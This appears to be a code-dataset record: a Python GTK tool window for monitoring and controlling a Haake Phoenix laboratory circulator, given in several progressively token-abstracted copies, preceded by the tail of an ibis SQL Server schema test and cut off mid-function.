dt.timestamp(scale=4), marks=[\n broken_sqlalchemy_autoload]), param('DATETIMEOFFSET(5)', dt.timestamp(\n scale=5, timezone='UTC'), marks=[broken_sqlalchemy_autoload])], ids=str)\ndef test_get_schema_from_query(con, server_type, expected_type, temp_table):\n expected_schema = ibis.schema(dict(x=expected_type))\n with con.begin() as c:\n c.exec_driver_sql(f'CREATE TABLE [{temp_table}] (x {server_type})')\n expected_schema = ibis.schema(dict(x=expected_type))\n result_schema = con._get_schema_using_query(f'SELECT * FROM [{temp_table}]'\n )\n assert result_schema == expected_schema\n t = con.table(temp_table)\n assert t.schema() == expected_schema\n", "<import token>\n<assignment token>\n<function token>\n" ]
false
486
25aa0766505b22588107d44e15c3596e9383d4e9
import datetime from ..core.indicator import Indicator, IndicatorState from ..core.toolwindow import ToolWindow class HaakePhoenix(ToolWindow): required_devices = ['haakephoenix'] def __init__(self, *args, **wargs): self.indicators = {} super().__init__(*args, **wargs) def init_gui(self, *args, **kwargs): statusgrid = self.builder.get_object('statusgrid') for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1, 'setpoint', 'Target temperature'), (0, 2, 'temperature', 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4, 'control_on', 'Temperature control'), (1, 0, 'lowlimit', 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2, 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'), (1, 4, 'diffcontrol_on', 'Differential control')]: self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN) statusgrid.attach(self.indicators[vn], column, row, 1, 1) errorgrid = self.builder.get_object('errorgrid') for row, column, vn, label in [(0, 0, 'external_pt100_error', 'External Pt100'), # (0, 1, 'internal_pt100_error', 'Internal Pt100'), # (0, 2, 'liquid_level_low_error', 'Liquid level'), # (0, 3, 'liquid_level_alarm_error', 'Liquid level alarm'), # (0, 4, 'cooling_error', 'Cooling system'), # (1, 0, 'pump_overload_error', 'Pump'), # (1, 1, 'external_alarm_error', 'External alarm'), # (1, 2, 'overtemperature_error', 'Overtemperature'), # (1, 3, 'main_relay_missing_error', 'Main relay'), # (1, 4, 'faultstatus', 'Status flags')]: # self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN) errorgrid.attach(self.indicators[vn], column, row, 1, 1) othergrid = self.builder.get_object('othergrid') for row, column, vn, label in [(0, 0, 'firmwareversion', 'Firmware version'), # (0, 1, 'date', 'Date'), # (0, 2, 'time', 'Time'), # (0, 3, 'autostart', 'Autostart'), # (0, 4, 'beep', 'Beep'), # (1, 0, 'fuzzyid', 'Fuzzy identification'), # (1, 1, 'fuzzycontrol', 'Fuzzy control'), # (1, 2, 'fuzzystatus', 'Fuzzy status'), # (1, 3, 'watchdog_on', 'Watchdog'), # (1, 4, 'watchdog_setpoint', 'Watchdog setpoint')]: # self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN) othergrid.attach(self.indicators[vn], column, row, 1, 1) self.update_indicators() def on_mainwidget_map(self, window): if super().on_mainwidget_map(window): return True self.update_indicators() def update_indicators(self): dev = self.instrument.get_device('haakephoenix') for vn in self.indicators: self.on_device_variable_change(dev, vn, dev.get_variable(vn)) self.builder.get_object('setpoint_adjustment').set_value( dev.get_variable('setpoint')) self.builder.get_object('lowlimit_adjustment').set_value( dev.get_variable('lowlimit')) self.builder.get_object('highlimit_adjustment').set_value( dev.get_variable('highlimit')) def on_device_variable_change(self, device, variablename, newvalue): if variablename in ['_status', 'firmwareversion', 'fuzzycontrol', 'date', 'time', 'faultstatus']: self.indicators[variablename].set_value(str(newvalue), IndicatorState.NEUTRAL) elif variablename in ['setpoint', 'temperature', 'lowlimit', 'highlimit']: self.indicators[variablename].set_value('%.2f°C' % newvalue, IndicatorState.NEUTRAL) elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on', 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']: self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(bool(newvalue))]) elif variablename in ['pump_power']: self.indicators[variablename].set_value('%.2f %%' % newvalue, [IndicatorState.ERROR, IndicatorState.OK][newvalue > 0]) elif variablename in ['external_pt100_error', 'internal_pt100_error', 'liquid_level_low_error', 'cooling_error', 'main_relay_missing_error']: self.indicators[variablename].set_value(['OK', 'ERROR'][int(bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR][int(bool(newvalue))]) elif variablename in ['liquid_level_alarm_error', 'external_alarm_error', 'overtemperature_error']: self.indicators[variablename].set_value(['OK', 'ALARM'][int(bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR][int(bool(newvalue))]) elif variablename in ['pump_overload_error']: self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR][int(bool(newvalue))]) elif variablename in ['watchdog_setpoint']: self.indicators[variablename].set_value('%.2f sec' % newvalue, IndicatorState.UNKNOWN) elif variablename in ['control_external']: self.indicators[variablename].set_value(['Internal', 'External'][int(bool(newvalue))], IndicatorState.NEUTRAL) if variablename == 'fuzzyid': self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue)) elif variablename == 'pump_power': self.builder.get_object('circulator_switch').set_state(newvalue > 0) return False def on_circulator_switch_state_set(self, switch, state): dev = self.instrument.get_device('haakephoenix') if state: dev.execute_command('start') else: dev.execute_command('stop') return True def on_fuzzyid_switch_state_set(self, switch, state): self.instrument.get_device('haakephoenix').set_variable('fuzzyid', state) return True def on_set_setpoint(self, button): spinbutton = self.builder.get_object('setpoint_spin') self.instrument.get_device('haakephoenix').set_variable('setpoint', spinbutton.get_value()) def on_set_lowlimit(self, button): spinbutton = self.builder.get_object('lowlimit_spin') self.instrument.get_device('haakephoenix').set_variable('lowlimit', spinbutton.get_value()) def on_set_highlimit(self, button): spinbutton = self.builder.get_object('highlimit_spin') self.instrument.get_device('haakephoenix').set_variable('highlimit', spinbutton.get_value()) def on_update_rtc(self, button): now = datetime.datetime.now() self.instrument.get_device('haakephoenix').set_variable('date', now.date()) self.instrument.get_device('haakephoenix').set_variable('time', now.time())
[ "import datetime\n\nfrom ..core.indicator import Indicator, IndicatorState\nfrom ..core.toolwindow import ToolWindow\n\n\nclass HaakePhoenix(ToolWindow):\n required_devices = ['haakephoenix']\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'),\n (0, 1, 'setpoint', 'Target temperature'),\n (0, 2, 'temperature', 'Temperature'),\n (0, 3, 'pump_power', 'Pump speed'),\n (0, 4, 'control_on', 'Temperature control'),\n (1, 0, 'lowlimit', 'Low limit'),\n (1, 1, 'highlimit', 'High limit'),\n (1, 2, 'cooling_on', 'Cooling'),\n (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN)\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error', 'External Pt100'), #\n (0, 1, 'internal_pt100_error', 'Internal Pt100'), #\n (0, 2, 'liquid_level_low_error', 'Liquid level'), #\n (0, 3, 'liquid_level_alarm_error', 'Liquid level alarm'), #\n (0, 4, 'cooling_error', 'Cooling system'), #\n (1, 0, 'pump_overload_error', 'Pump'), #\n (1, 1, 'external_alarm_error', 'External alarm'), #\n (1, 2, 'overtemperature_error', 'Overtemperature'), #\n (1, 3, 'main_relay_missing_error', 'Main relay'), #\n (1, 4, 'faultstatus', 'Status flags')]: #\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN)\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion', 'Firmware version'), #\n (0, 1, 'date', 'Date'), #\n (0, 2, 'time', 'Time'), #\n (0, 3, 'autostart', 'Autostart'), #\n (0, 4, 'beep', 'Beep'), #\n (1, 0, 'fuzzyid', 'Fuzzy identification'), #\n (1, 1, 'fuzzycontrol', 'Fuzzy control'), #\n (1, 2, 'fuzzystatus', 'Fuzzy status'), #\n (1, 3, 'watchdog_on', 'Watchdog'), #\n (1, 4, 'watchdog_setpoint', 'Watchdog setpoint')]: #\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN)\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(\n dev.get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(\n dev.get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(\n dev.get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol', 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue), IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit', 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue, IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on', 'watchdog_on', 'beep', 'fuzzyid',\n 'fuzzystatus',\n 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(newvalue))],\n [IndicatorState.ERROR, IndicatorState.OK][int(bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue,\n [IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error', 'internal_pt100_error', 'liquid_level_low_error', 'cooling_error',\n 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(bool(newvalue))],\n [IndicatorState.OK, IndicatorState.ERROR][int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error', 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(bool(newvalue))],\n [IndicatorState.OK, IndicatorState.ERROR][int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(bool(newvalue))],\n [IndicatorState.OK, IndicatorState.ERROR][int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue, IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'][int(bool(newvalue))],\n IndicatorState.NEUTRAL)\n\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0)\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n\n def on_fuzzyid_switch_state_set(self, switch, state):\n self.instrument.get_device('haakephoenix').set_variable('fuzzyid', state)\n return True\n\n def on_set_setpoint(self, button):\n spinbutton = self.builder.get_object('setpoint_spin')\n self.instrument.get_device('haakephoenix').set_variable('setpoint', spinbutton.get_value())\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit', spinbutton.get_value())\n\n def on_set_highlimit(self, button):\n spinbutton = self.builder.get_object('highlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('highlimit', spinbutton.get_value())\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now.date())\n self.instrument.get_device('haakephoenix').set_variable('time', now.time())\n", "import datetime\nfrom ..core.indicator import Indicator, IndicatorState\nfrom ..core.toolwindow import ToolWindow\n\n\nclass HaakePhoenix(ToolWindow):\n required_devices = ['haakephoenix']\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol',\n 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue),\n IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit',\n 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue,\n IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on',\n 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(\n newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(\n bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue, [\n IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error',\n 'internal_pt100_error', 'liquid_level_low_error',\n 'cooling_error', 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error',\n 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue,\n IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'\n ][int(bool(newvalue))], IndicatorState.NEUTRAL)\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0\n )\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n\n def on_fuzzyid_switch_state_set(self, switch, state):\n self.instrument.get_device('haakephoenix').set_variable('fuzzyid',\n state)\n return True\n\n def on_set_setpoint(self, button):\n spinbutton = self.builder.get_object('setpoint_spin')\n self.instrument.get_device('haakephoenix').set_variable('setpoint',\n spinbutton.get_value())\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n\n def on_set_highlimit(self, button):\n spinbutton = self.builder.get_object('highlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('highlimit',\n spinbutton.get_value())\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n required_devices = ['haakephoenix']\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol',\n 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue),\n IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit',\n 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue,\n IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on',\n 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(\n newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(\n bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue, [\n IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error',\n 'internal_pt100_error', 'liquid_level_low_error',\n 'cooling_error', 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error',\n 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue,\n IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'\n ][int(bool(newvalue))], IndicatorState.NEUTRAL)\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0\n )\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n\n def on_fuzzyid_switch_state_set(self, switch, state):\n self.instrument.get_device('haakephoenix').set_variable('fuzzyid',\n state)\n return True\n\n def on_set_setpoint(self, button):\n spinbutton = self.builder.get_object('setpoint_spin')\n self.instrument.get_device('haakephoenix').set_variable('setpoint',\n spinbutton.get_value())\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n\n def on_set_highlimit(self, button):\n spinbutton = self.builder.get_object('highlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('highlimit',\n spinbutton.get_value())\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n self.instrument.get_device('haakephoenix').set_variable('date', now\n .date())\n self.instrument.get_device('haakephoenix').set_variable('time', now\n .time())\n", "<import token>\n\n\nclass HaakePhoenix(ToolWindow):\n <assignment token>\n\n def __init__(self, *args, **wargs):\n self.indicators = {}\n super().__init__(*args, **wargs)\n\n def init_gui(self, *args, **kwargs):\n statusgrid = self.builder.get_object('statusgrid')\n for row, column, vn, label in [(0, 0, '_status', 'Status'), (0, 1,\n 'setpoint', 'Target temperature'), (0, 2, 'temperature',\n 'Temperature'), (0, 3, 'pump_power', 'Pump speed'), (0, 4,\n 'control_on', 'Temperature control'), (1, 0, 'lowlimit',\n 'Low limit'), (1, 1, 'highlimit', 'High limit'), (1, 2,\n 'cooling_on', 'Cooling'), (1, 3, 'control_external', 'Control'),\n (1, 4, 'diffcontrol_on', 'Differential control')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n statusgrid.attach(self.indicators[vn], column, row, 1, 1)\n errorgrid = self.builder.get_object('errorgrid')\n for row, column, vn, label in [(0, 0, 'external_pt100_error',\n 'External Pt100'), (0, 1, 'internal_pt100_error',\n 'Internal Pt100'), (0, 2, 'liquid_level_low_error',\n 'Liquid level'), (0, 3, 'liquid_level_alarm_error',\n 'Liquid level alarm'), (0, 4, 'cooling_error', 'Cooling system'\n ), (1, 0, 'pump_overload_error', 'Pump'), (1, 1,\n 'external_alarm_error', 'External alarm'), (1, 2,\n 'overtemperature_error', 'Overtemperature'), (1, 3,\n 'main_relay_missing_error', 'Main relay'), (1, 4, 'faultstatus',\n 'Status flags')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n errorgrid.attach(self.indicators[vn], column, row, 1, 1)\n othergrid = self.builder.get_object('othergrid')\n for row, column, vn, label in [(0, 0, 'firmwareversion',\n 'Firmware version'), (0, 1, 'date', 'Date'), (0, 2, 'time',\n 'Time'), (0, 3, 'autostart', 'Autostart'), (0, 4, 'beep',\n 'Beep'), (1, 0, 'fuzzyid', 'Fuzzy identification'), (1, 1,\n 'fuzzycontrol', 'Fuzzy control'), (1, 2, 'fuzzystatus',\n 'Fuzzy status'), (1, 3, 'watchdog_on', 'Watchdog'), (1, 4,\n 'watchdog_setpoint', 'Watchdog setpoint')]:\n self.indicators[vn] = Indicator(label, '--', IndicatorState.UNKNOWN\n )\n othergrid.attach(self.indicators[vn], column, row, 1, 1)\n self.update_indicators()\n\n def on_mainwidget_map(self, window):\n if super().on_mainwidget_map(window):\n return True\n self.update_indicators()\n\n def update_indicators(self):\n dev = self.instrument.get_device('haakephoenix')\n for vn in self.indicators:\n self.on_device_variable_change(dev, vn, dev.get_variable(vn))\n self.builder.get_object('setpoint_adjustment').set_value(dev.\n get_variable('setpoint'))\n self.builder.get_object('lowlimit_adjustment').set_value(dev.\n get_variable('lowlimit'))\n self.builder.get_object('highlimit_adjustment').set_value(dev.\n get_variable('highlimit'))\n\n def on_device_variable_change(self, device, variablename, newvalue):\n if variablename in ['_status', 'firmwareversion', 'fuzzycontrol',\n 'date', 'time', 'faultstatus']:\n self.indicators[variablename].set_value(str(newvalue),\n IndicatorState.NEUTRAL)\n elif variablename in ['setpoint', 'temperature', 'lowlimit',\n 'highlimit']:\n self.indicators[variablename].set_value('%.2f°C' % newvalue,\n IndicatorState.NEUTRAL)\n elif variablename in ['control_on', 'cooling_on', 'diffcontrol_on',\n 'watchdog_on', 'beep', 'fuzzyid', 'fuzzystatus', 'autostart']:\n self.indicators[variablename].set_value(['OFF', 'ON'][int(bool(\n newvalue))], [IndicatorState.ERROR, IndicatorState.OK][int(\n bool(newvalue))])\n elif variablename in ['pump_power']:\n self.indicators[variablename].set_value('%.2f %%' % newvalue, [\n IndicatorState.ERROR, IndicatorState.OK][newvalue > 0])\n elif variablename in ['external_pt100_error',\n 'internal_pt100_error', 'liquid_level_low_error',\n 'cooling_error', 'main_relay_missing_error']:\n self.indicators[variablename].set_value(['OK', 'ERROR'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['liquid_level_alarm_error',\n 'external_alarm_error', 'overtemperature_error']:\n self.indicators[variablename].set_value(['OK', 'ALARM'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['pump_overload_error']:\n self.indicators[variablename].set_value(['OK', 'OVERLOAD'][int(\n bool(newvalue))], [IndicatorState.OK, IndicatorState.ERROR]\n [int(bool(newvalue))])\n elif variablename in ['watchdog_setpoint']:\n self.indicators[variablename].set_value('%.2f sec' % newvalue,\n IndicatorState.UNKNOWN)\n elif variablename in ['control_external']:\n self.indicators[variablename].set_value(['Internal', 'External'\n ][int(bool(newvalue))], IndicatorState.NEUTRAL)\n if variablename == 'fuzzyid':\n self.builder.get_object('fuzzyid_switch').set_state(bool(newvalue))\n elif variablename == 'pump_power':\n self.builder.get_object('circulator_switch').set_state(newvalue > 0\n )\n return False\n\n def on_circulator_switch_state_set(self, switch, state):\n dev = self.instrument.get_device('haakephoenix')\n if state:\n dev.execute_command('start')\n else:\n dev.execute_command('stop')\n return True\n\n def on_fuzzyid_switch_state_set(self, switch, state):\n self.instrument.get_device('haakephoenix').set_variable('fuzzyid',\n state)\n return True\n\n def on_set_setpoint(self, button):\n spinbutton = self.builder.get_object('setpoint_spin')\n self.instrument.get_device('haakephoenix').set_variable('setpoint',\n spinbutton.get_value())\n\n def on_set_lowlimit(self, button):\n spinbutton = self.builder.get_object('lowlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('lowlimit',\n spinbutton.get_value())\n\n def on_set_highlimit(self, button):\n spinbutton = self.builder.get_object('highlimit_spin')\n self.instrument.get_device('haakephoenix').set_variable('highlimit',\n spinbutton.get_value())\n\n def on_update_rtc(self, button):\n now = datetime.datetime.now()\n 